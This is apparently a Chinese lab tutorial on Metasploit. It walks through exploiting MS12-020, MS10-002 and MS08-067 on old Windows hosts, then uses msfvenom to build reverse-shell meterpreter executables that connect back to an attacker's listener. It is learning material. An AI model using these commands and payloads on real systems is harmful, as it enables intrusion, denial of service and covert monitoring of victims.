一、数据库配置
- 启动postgresql数据库服务:
/etc/init.d/postgresql start
su - postgres
- 创建数据库用户:
createuser 用户名 -P
然后输入密码 - 创建数据库:
createdb --owner=用户名 数据库名
- 启动msf:
msfconsole
- msf连接数据库:
db_connect 用户名:密码@127.0.0.1/数据库名
- 查看数据库连接状态:
db_status
二、常用命令
- 查看帮助信息
help
- 搜索:
search 关键字
- 如搜索ipidseq进行ip扫描
- 选择模块:
use 模块
- 如使用搜索到的模块:
- 查看受影响的范围:
show targets
- 查看需要设置的选项:
show options
- Required中为yes的需要我们手动设置,如果current setting即当我们不去设置需要我们手动设置的选项时他的默认参数。
- 设置选项:
set 选项 值
全局设置:setg 选项 值
- 取消某个选项的参数:
unset 选项名
全局取消:unsetg 选项名
- 开始扫描:
run或者exploit
- 查看session列表:
session -l
- 进入到具体的session:
session -i 编号
- 挂起session:
background
三、常见漏洞进行复现
ms12-020
搜索关键字:search ms12-020
使用相应模块:use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
查看选项帮助:show options
设置攻击对象ip:set rhost 192.168.10.134
开始攻击:run
查看攻击对象(windows server 2003)
当使用启动项提权方法时,强迫受害者关机重启可利用此方法
ms10-002
搜索编号关键字查找利用模块search ms10-002
使用编号0的模块进行利用use exploit/windows/browser/ms10_002_aurora
,查看需要设置的选项show options
设置本地ip地址(kali攻击机)及端口(端口如果没有占用可以使用默认8080,此处使用8080)set srvhost 192.168.10.133
设置payload,set payload windows/meterpreter/reverse_tcp
查看payload需要设置的选项show options
设置本地主机ip,set lhost 192.168.10.133
开始攻击run
,将msf生成的URL发送给受害者(windows xp),在IE浏览器打开
查看session列表:sessions -l
选择刚刚建立的session:sessions -i 2
,弹出meterpreter后输入shell,进入到受害者的shell
退出shell输入exit,退出meterpreter将session挂起输入background
ms08-067
攻击机:kali linux
受害机:windows xp SP3(需关闭防护墙)
搜索漏洞利用模块:search ms08-067
使用模块:use exploit/windows/smb/ms08_067_netapi
设置payload:set payload windows/meterpreter/reverse_tcp
查看需要设置的选项:show options
设置受害者ip:set rhost 192.168.10.141
设置本地监听ip:set lhost 192.168.10.133
可先通过show target
查看受影响的系统版本,然后选择受害机对应的版本
设置目标的系统类型:set target Windows XP SP3 Chinese - Simplified (NX)
开始攻击:run
反弹meterpreter后可输入help
,使用screenshot
可对受害机进行截屏,使用run vnc
可进行监控
四、shellcode的生成
首先攻击机在msf下需要使用exploit/multi/handler模块:use exploit/multi/handler
在参考文章中生成shellcode,这里我做两个实验windows下和linux下
windows:
参考命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
- 在kali下shell中输入:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.133 LPORT=1234 -f exe > shell.exe
lhost为攻击机(kali)本地ip,lport为攻击机监听的端口 - 在msf首先使用监听模块,然后设置生成shellcode时的payload
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
- 设置payload选项(按照生成shellcode时所这是的监听ip及端口进行设置)
set lhost 192.168.10.133
set lport 1234
- 开始监听:
run
- 将生成的shell.exe放到受害机(windows xp)下打开,在kali查看反弹的meterpreter
- 成功反弹meterpreter
- 此时,在xp下,通过
netstat -ano
可发现外联到kali上,通过taskkill /PID shell.exe的pid -F
杀掉进程,查看kali处,发现session已经断开
Linux:
参考命令:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
- 打开kali的shell生成linux下的shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.133 LPORT=1235 -f elf > shell.elf
- 给shell.elf赋予可执行权限
chmod 777 shell.elf
- msf下使用监听模块并设置payload
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.10.133
set lport 1235
run
- 然后在本地执行(相当于自己再充当下受害方)
- 成功获取到meterpreter